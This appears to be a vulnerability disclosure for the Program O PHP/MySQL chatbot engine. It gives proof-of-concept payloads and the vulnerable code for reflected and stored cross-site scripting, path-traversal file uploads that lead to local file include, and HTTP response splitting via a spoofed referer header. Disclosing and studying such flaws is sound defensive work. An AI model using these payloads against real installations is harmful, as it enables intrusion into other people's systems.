Product & Service Introduction:  
===============================  
Welcome to the Program O Project website This is the home of the Open Source PHP MySQL AIML Chatbot Project. Program O is an AIML engine written   
in PHP with MySQL. Here you can find support, help, bot addons, a brilliant and friendly community and ofcourse the Program O download files.

Severity Level:

High  
  
  
Proof of Concept (PoC):  
=======================  
1.1 Client-Side Cross Site Scripting Vulnerability  
The xss vulnerabilities can be exploited by remote attackers without privileged application user account and with low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
http://localhost/Program-O/gui/xml/index.php?convo_id=444%22/%3E%3Csvg/onload=alert%281%29%3E  
  
Cause  
  
echo $convo_id;  
  
$post_vars = filter_input_array(INPUT_POST) : array();  
$get_vars = filter_input_array(INPUT_GET) : array();  
$request_vars = array_merge($get_vars, $post_vars);  
$convo_id = $request_vars['convo_id'] : get_convo_id ();  
  
  
1.2 Client-Side Cross Site Scripting Vulnerability  
  
http://localhost/Program-O/gui/xml/index.php/%22%3E%3Csvg/onload=alert%280%29%3E  
  
  
./Program-O/gui/xml/index.php  
  
echo $_SERVER['PHP_SELF'];  
  
3. /logs/index.php  
  
$iframeURL = $_POST['file'] : 'about:blank';  
echo $iframeURL;  
  
<form action="http://localhost/Program-O/logs/index.php" method="POST">  
<input type="hidden" name="file"  
value='paulos"/></iframe></div><svg/onload=alert(0)>'>  
  
  
2.1 Application-Side Cross Site Scripting Vulnerability  
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged application user account and with low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
  
/admin/validateAIML.php  
  
cause because of  
  
echo $status;  
$status = "File $fileName is valid.<br />\n";  
  
giving valid AIML files names like <svg/onload=alert(0)> should do the trick  
  
  
2.2 Application-Side Cross Site Scripting Vulnerability (Only in older php server versions)  
  
/admin/file.php  
  
print "File <strong>$req_file</strong> doesn't exist.";  
  
$req_file = basename($_GET['file']);  
  
exploit ?file=">>payload  
  
  
3. File Manipulation - Local File Include  
The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
  
/admin/validateAIML.php  
  
Cause because of,  
move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))  
  
$target = $uploadDir . $ip . '/' . $tf;  
$uploadDir = _UPLOAD_PATH_;  
define('_UPLOAD_PATH_', _CONF_PATH_ . 'uploads' .  
$path_separator); // global_config.php define()  
define('_CONF_PATH_', _BASE_PATH_ . 'config' . $path_separator);  
// global_config.php define()  
define('_BASE_PATH_', $parentFolder); // global_config.php define()  
  
Exploitation is to give your file(s) names like ../../../file so when  
they got uploaded, they can cause LFI  
  
  
4. LFI, File Manipulation (RCE in some special cases only!)  
The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
/admin/upload_old.php  
  
move_uploaded_file($_FILES['aimlfile']['tmp_name'], $file))  
  
$file = './uploads/' . $_FILES['aimlfile']['name'];  
  
exact same issues in admin/upload.php  
  
  
  
  
5.1 HTTP Response Splitting (CRLF)  
The HTTP Response Splitting issues can be exploited by remote attackers without privileged application user account and with medium or high user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
header("Refresh: 5; url=$whoami?file=$req_file&send_file=yes");  
$whoami = basename(__FILE__);  
$req_file = basename($_GET['file']);  
  
  
5.2 HTTP Response Splitting (CRLF)  
/admin/download.php  
  
cause,  
  
$referer = $_SERVER['HTTP_REFERER'];  
header("Refresh: 5;  
url=file.php?file=$zipFilename&send_file=yes&referer=$referer&msg=$msg");  
  
So as long as we spoof our referer to %0A%0DContent-Injection:goes-here  
  
  
Security Risk:  
==============  
1.1 - 1.2  
The security risk of the client-side cross site scripting vulnerabilities is estimated as medium. (CVSS 2.6)  
  
2.1 - 2.2  
The security risk of the application-side input validation web vulnerabilities are estimated as medium. (CVSS 3.7)  
  
3.0  
The security risk of the local file include web vulnerability is estimated as high. (CVSS 6.1)  
  
4.0  
The security risk of the local file manipulation issue and code execution vulnerability is estimated as high. (CVSS 6.4).
